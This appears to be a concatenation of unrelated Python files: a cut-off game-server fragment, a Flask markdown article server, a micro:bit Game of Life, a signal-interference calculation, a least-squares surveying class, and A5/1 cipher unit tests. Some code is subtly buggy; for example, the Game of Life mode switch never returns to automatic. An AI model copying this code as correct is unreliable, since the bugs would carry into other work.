    enterGameNotice.Set("TICKET", ticket)
    enterGameNotice.Set("PID", pid)
    enterGameNotice.Set("I", game.addrIp)
    enterGameNotice.Set("P", game.addrPort)
    enterGameNotice.Set("HUID", owner.id)
    enterGameNotice.Set("INT-PORT", game.addrPort)
    enterGameNotice.Set("EKEY", game.ekey)
    enterGameNotice.Set("INT-IP", game.addrIp)
    enterGameNotice.Set("UGID", game.ugid)
    enterGameNotice.Set("LID", lid)
    enterGameNotice.Set("GID", gid)

    if not serverFull:
        yield enterGameNotice


from flask import Flask, render_template, abort
import os
import codecs
import markdown

app = Flask(__name__)

@app.route('/')
def index():
	flist = os.listdir('articles')
	return render_template('index.html', flist = flist)

@app.route('/a/<file_name>')
def article(file_name):
	try:
		fin = codecs.open('articles/'+file_name, mode='r', encoding='utf-8')
	except IOError:
		return abort(404)
	html = markdown.markdown(fin.read())
	fin.close()
	return render_template('article.html', html = html)

if __name__ == '__main__':
	app.run(debug=False)


#
# Conway's Game of Life implementation for micro:bit
# https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life
#

import random
import microbit

class GameOfLife:
    CELL_NUM = 7

    # MicroPython dose not have enum module
    STATE = {
        'ALIVE': 0,
        'DEAD': 1,
        'DYING': 2
    }

    MODE = {
        'AUTO': 0,
        'MANUAL': 1
    }

    def __init__(self):
        self.current_iteration = 0
        self.current_mode = GameOfLife.MODE['AUTO']

        self.current_states = \
            [[GameOfLife.STATE['DEAD'] for _ in range(GameOfLife.CELL_NUM)] for _ in range(GameOfLife.CELL_NUM)]
        for i in range(1, GameOfLife.CELL_NUM - 1):
            for j in range(1, GameOfLife.CELL_NUM - 1):
                self.current_states[i][j] = random.randint(0, 2)

        self.present_state = \
            [[GameOfLife.STATE['DEAD'] for _ in range(GameOfLife.CELL_NUM)] for _ in range(GameOfLife.CELL_NUM)]

    def count_alive_cell(self, x, y):
        alive_cell_num = 0

        for i in range(x - 1, x + 2):
            for j in range(y - 1, y + 2):
                if (i, j) != (x, y) and self.current_states[i][j] == GameOfLife.STATE['ALIVE']:
                    alive_cell_num += 1

        return alive_cell_num

    def update_cells(self):
        self.save_present_state()
        for i in range(1, GameOfLife.CELL_NUM - 1):
            for j in range(1, GameOfLife.CELL_NUM - 1):

                current_cell_state = self.current_states[i][j]
                alive_cell_num = self.count_alive_cell(i, j)

                if (current_cell_state == GameOfLife.STATE['DEAD'] or
                    current_cell_state == GameOfLife.STATE['DYING']) and alive_cell_num == 3:
                    self.current_states[i][j] = GameOfLife.STATE['ALIVE']
                elif current_cell_state == GameOfLife.STATE['ALIVE'] and alive_cell_num <= 1:
                    self.current_states[i][j] = GameOfLife.STATE['DYING']
                elif current_cell_state == GameOfLife.STATE['ALIVE'] and alive_cell_num >= 4:
                    self.current_states[i][j] = GameOfLife.STATE['DYING']
                elif self.current_states[i][j] == GameOfLife.STATE['DYING']:
                    self.current_states[i][j] = GameOfLife.STATE['DEAD']

        self.show_led()

    def switch_mode(self):
        self.current_mode = GameOfLife.MODE['MANUAL']\
            if self.current_mode == GameOfLife.MODE['AUTO'] else GameOfLife.MODE['MANUAL']

    def show_led(self):
        for i in range(1, GameOfLife.CELL_NUM - 1):
            for j in range(1, GameOfLife.CELL_NUM - 1):
                current_cell_state = self.current_states[i][j]

                if current_cell_state == GameOfLife.STATE['ALIVE']:
                    microbit.display.set_pixel(i - 1, j - 1, 9)
                elif current_cell_state == GameOfLife.STATE['DYING']:
                    microbit.display.set_pixel(i - 1, j - 1, 5)
                else:
                    microbit.display.set_pixel(i - 1, j - 1, 0)

    def save_present_state(self):
        for i in range(GameOfLife.CELL_NUM):
            for j in range(GameOfLife.CELL_NUM):
                self.present_state[i][j] = self.current_states[i][j]

    def is_dead(self):
        for i in range(GameOfLife.CELL_NUM):
            for j in range(GameOfLife.CELL_NUM):
                if self.present_state[i][j] != self.current_states[i][j]:
                    return False
        return True

def main():
    goe = GameOfLife()

    while True:
        if microbit.button_a.is_pressed() and microbit.button_b.is_pressed() or\
                goe.current_mode == goe.MODE['AUTO'] and goe.is_dead():
            microbit.sleep(500)
            goe = GameOfLife()
        elif microbit.button_a.is_pressed():
            goe.update_cells()
        elif microbit.button_b.is_pressed():
            goe.switch_mode()
        elif goe.current_mode == goe.MODE['AUTO']:
            goe.update_cells()
        microbit.sleep(150)

main()


import math

# for n=4
# let assume N=7
N = 7
n = 4
i = 6
signalInterfracnceRatio = (math.sqrt(3 * N) ** n) / 6
signalIRdB = 10 * math.log(signalInterfracnceRatio, 10)
print(signalIRdB)


from numpy import transpose as t
from numpy import matrix as mat, matmul as mm
import math as m
import numpy as np
import pandas as pd
from LeastSquares import LS

class Distance(LS):
    """
    """
    def __init__(self, df_name = "distances.txt"):
        """
        Desc:
            reads in the distance observations and preps that point of the LSA
        Input:
            df_name
            dimension_word =
            dimension_symbol = "H", can be switched to "E", "N"
        Output:
            self.obs type: matrix: observation matrix
        """
        LS.__init__(self)

        self.df_name = df_name

        self.read_distance()
        self.set_obs()
        self.set_errors()

        self.set_design()
        self.obs_0()

    def read_distance(self):
        """
        Desc:
            reads in the distance stuff for a 2D
        Input:
        Output:
            self.d_word for the observations
            self.d_error for the stddev column
            self.df of all info [From To Distance[m] StDev[m]]
        """
        self.d_word = "Distance[m]"
        self.d_error = "StDev[m]"
        self.d_symbol = "E"
        self.df = pd.read_csv(self.df_name, sep = ' ')

    def set_obs(self):
        """
        Desc:
            sets up the observation matrix from the distance observations.
        Input:
        Output:
            self.obs
            self.n, number of observations
        """
        self.obs = mat(self.df[self.d_word]).transpose()
        self.n = len(self.df[self.d_word])

    def set_design(self):
        """
        Desc:
            initializes the design matrix with 0's, 1's and -1's
        Input:
        Output:
            self.A, type matrix
        """
        #set it up as just zeros
        self.A = mat(np.zeros((self.n, self.u)))

        #get the from and tos ready to be accessed
        froms = self.df["From"].to_list()
        tos = self.df["To"].to_list()

        #making these variables always accessible so that no errors arrise (don't worry they aren't assigned if a partial derivative is meant for it)
        e_from = 0
        n_from = 0

        e_to = 0
        n_to = 0

        #set placeholder
        i = 0

        while(i < self.n):
            #this is for figuring out if its a known or unknown_____________________
            #the extra code here was incase approx values were needed to additionally populate the design matrices
            from_const = False
            to_const = False
            #find columns to place values
            #picks the dimension symbol to search for
            from_col = self.find_col(self.d_symbol, froms[i])
            if from_col == -1:
                #honestly this is only if we were to do something with the partial of the datums but
                #we don't so ignore this and the next similar if statement, other than setting the True value is important
                from_col = self.find_col(self.d_symbol, froms[i], li = "datums")
                #then it is a datum
                #sets easting and northing values from the froms
                e_from = self.c[from_col,0]
                n_from = self.c[from_col+1,0]
                from_const = True
            else:
                #sets easting and northing values from the froms
                e_from = LS.x_0[from_col,0]
                n_from = LS.x_0[from_col+1,0]

            to_col = self.find_col(self.d_symbol, tos[i])
            if to_col == -1:
                to_col = self.find_col(self.d_symbol, tos[i], li = "datums")
                #then it is a datum
                #to_num = self.c[to_col,0]
                e_to = self.c[to_col,0]
                n_to = self.c[to_col+1,0]
                to_const = True
            else:
                #set the easting and northing values of the
                e_to = LS.x_0[to_col,0]
                n_to = LS.x_0[to_col+1,0]

            #__________________________________________________________________________

            if self.debugging:
                print("E_from: "+str(e_from)+" N_from:"+str(n_from))
                print("E_to: "+str(e_to)+" N_to: "+str(n_to))

            dist = m.sqrt((e_from-e_to)**2+(n_from-n_to)**2)

            #this is where the values are assigned______________________________________
            #it is important that files are formatted as X and then Y so that we can find the X column
            #and autopopulate the Y column next to it
            if not from_const:
                self.A[i,from_col] = (e_from - e_to)/dist
                self.A[i,from_col+1] = (n_from - n_to)/dist

            if not to_const:
                #self.A[i,to_col] = delta + 1
                self.A[i,to_col] = -(e_from - e_to)/dist
                self.A[i,to_col+1] = -(n_from - n_to)/dist
            #_____________________________________________________________________________

            i = i + 1

    def set_errors(self):
        """
        Desc:
            sets up the errors in an n,1 matrix
        Input:
        Output:
            self.errs
        """
        self.errs = mat(self.df[self.d_error]).transpose()

    def obs_0(self):
        """
        desc:
            Sets up self.l_0 (extimated observations)
            Used for finding the current misclosure
        """
                #set it up as just zeros
        self.l_0 = mat(np.zeros((self.n, 1)))

        #get the from and tos ready to be accessed
        froms = self.df["From"].to_list()
        tos = self.df["To"].to_list()

        #making these variables always accessible so that no errors arrise (don't worry they aren't assigned if a partial derivative is meant for it)
        e_from = 0
        n_from = 0

        e_to = 0
        n_to = 0

        #set placeholder
        i = 0

        while(i < self.n):
            #this is for figuring out if its a known or unknown_____________________
            #the extra code here was incase approx values were needed to additionally populate the design matrices
            from_const = False
            to_const = False
            #find columns to place values
            #picks the dimension symbol to search for
            from_col = self.find_col(self.d_symbol, froms[i])
            if from_col == -1:
                #honestly this is only if we were to do something with the partial of the datums but
                #we don't so ignore this and the next similar if statement, other than setting the True value is important
                from_col = self.find_col(self.d_symbol, froms[i], li = "datums")
                #then it is a datum
                #sets easting and northing values from the froms
                e_from = self.c[from_col,0]
                n_from = self.c[from_col+1,0]
                from_const = True
            else:
                #sets easting and northing values from the froms
                e_from = LS.x_0[from_col,0]
                n_from = LS.x_0[from_col+1,0]

            to_col = self.find_col(self.d_symbol, tos[i])
            if to_col == -1:
                to_col = self.find_col(self.d_symbol, tos[i], li = "datums")
                #then it is a datum
                #to_num = self.c[to_col,0]
                e_to = self.c[to_col,0]
                n_to = self.c[to_col+1,0]
                to_const = True
            else:
                #set the easting and northing values of the
                e_to = LS.x_0[to_col,0]
                n_to = LS.x_0[to_col+1,0]
 #__________________________________________________________________________

            dist = m.sqrt((e_from-e_to)**2+(n_from-n_to)**2)

            #this is where the values areassigned______________________________________
                #self.A[i,to_col] = delta + 1
            self.l_0[i,0] = dist
            #_____________________________________________________________________________

            i = i + 1


#!/usr/bin/python3
"""
Testing the A5/1 cipher

@authors: Roman Yasinovskyy
@version: 2022.2
"""

import importlib
import pathlib
import sys
from typing import Generator
from hashlib import sha256

import pytest
import toml

try:
    importlib.util.find_spec(".".join(pathlib.Path(__file__).parts[-3:-1]), "src")
except ModuleNotFoundError:
    sys.path.append(f"{pathlib.Path(__file__).parents[3]}/")
finally:
    from src.projects.a51 import a51_cipher as a51

DATA_DIR = pathlib.Path("data/projects/a51/")
TIME_LIMIT = 2

def get_cases(category: str, *attribs: str) -> Generator:
    """Get test cases from the TOML file"""
    with open(pathlib.Path(__file__).with_suffix(".toml"), encoding="utf-8") as file:
        all_cases = toml.load(file)
        for case in all_cases[category]:
            yield tuple(case.get(a) for a in attribs)

@pytest.mark.timeout(TIME_LIMIT)
def test_majority():
    """Testing the majority function"""
    for bits, expected in zip(range(8), "00010111"):
        assert a51.majority(*tuple(f"{bits:03b}")) == expected

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "registers_given, registers_stepped",
    get_cases("test_case_basic", "registers_given", "registers_stepped"),
)
def test_stepping(registers_given: dict[str, str], registers_stepped: dict[str, str]):
    """Testing the stepping function"""
    assert a51.step_x(registers_given["x"]) == registers_stepped["x"]
    assert a51.step_y(registers_given["y"]) == registers_stepped["y"]
    assert a51.step_z(registers_given["z"]) == registers_stepped["z"]

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "registers_given, generated_bit",
    get_cases("test_case_basic", "registers_given", "generated_bit"),
)
def test_bit_generation(registers_given: dict[str, str], generated_bit: int):
    """Testing bit generation"""
    assert a51.generate_bit(**registers_given) == generated_bit

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "registers_given, keystream",
    get_cases("test_case_basic", "registers_given", "keystream"),
)
def test_keystream_generation(registers_given: dict[str, str], keystream: str):
    """Testing keystream generation"""
    plaintext = "U"  # Only used to get length of the keystream, 8 bits
    assert a51.generate_keystream(plaintext, **registers_given) == keystream

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "keystream, ciphertext",
    get_cases("test_case_basic", "keystream", "ciphertext"),
)
def test_encrypt_char(keystream: str, ciphertext: str):
    """Testing encryption of a single character"""
    plaintext = "U"  # Only used to get length of the keystream, 8 bits
    assert a51.encrypt(plaintext, keystream) == ciphertext

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "secret, generated_registers",
    get_cases("test_case_encryption", "secret", "generated_registers"),
)
def test_populate_registers(secret: str, generated_registers: dict[str, str]):
    """Testing generation of the registers"""
    gen_reg_x, gen_reg_y, gen_reg_z = a51.populate_registers(secret)
    assert gen_reg_x == generated_registers["x"]
    assert gen_reg_y == generated_registers["y"]
    assert gen_reg_z == generated_registers["z"]

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "plaintext, secret, ciphertext",
    get_cases("test_case_encryption", "plaintext", "secret", "ciphertext"),
)
def test_encrypt_text(plaintext: str, secret: str, ciphertext: str):
    """Testing encryption of a string"""
    x, y, z = a51.populate_registers(secret)
    keystream = a51.generate_keystream(plaintext, x, y, z)
    assert hex(int(a51.encrypt(plaintext, keystream), 2)) == ciphertext

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "plaintext, secret, ciphertext",
    get_cases("test_case_encryption", "plaintext", "secret", "ciphertext"),
)
def test_decrypt_text(plaintext: str, secret: str, ciphertext: str):
    """Testing decryption of a string"""
    x, y, z = a51.populate_registers(secret)
    keystream = a51.generate_keystream(plaintext, x, y, z)
    assert a51.decrypt(ciphertext, keystream) == plaintext

@pytest.mark.timeout(TIME_LIMIT)
@pytest.mark.parametrize(
    "filename, secret, checksum",
    get_cases("test_case_file_encryption", "filename", "secret", "checksum"),
)
def test_encrypt_file(filename: str, secret: str, checksum: str):
    """Testing file encryption"""
    a51.encrypt_file(pathlib.Path(DATA_DIR / filename), secret)
    encrypted_file = pathlib.Path(DATA_DIR / filename)
    if encrypted_file.exists():
        assert (
            sha256(
                open(pathlib.Path(DATA_DIR / f"{filename}.secret"), "rb").read()
            ).hexdigest()
            == checksum
        )

if __name__ == "__main__":
    pytest.main(["-v", __file__])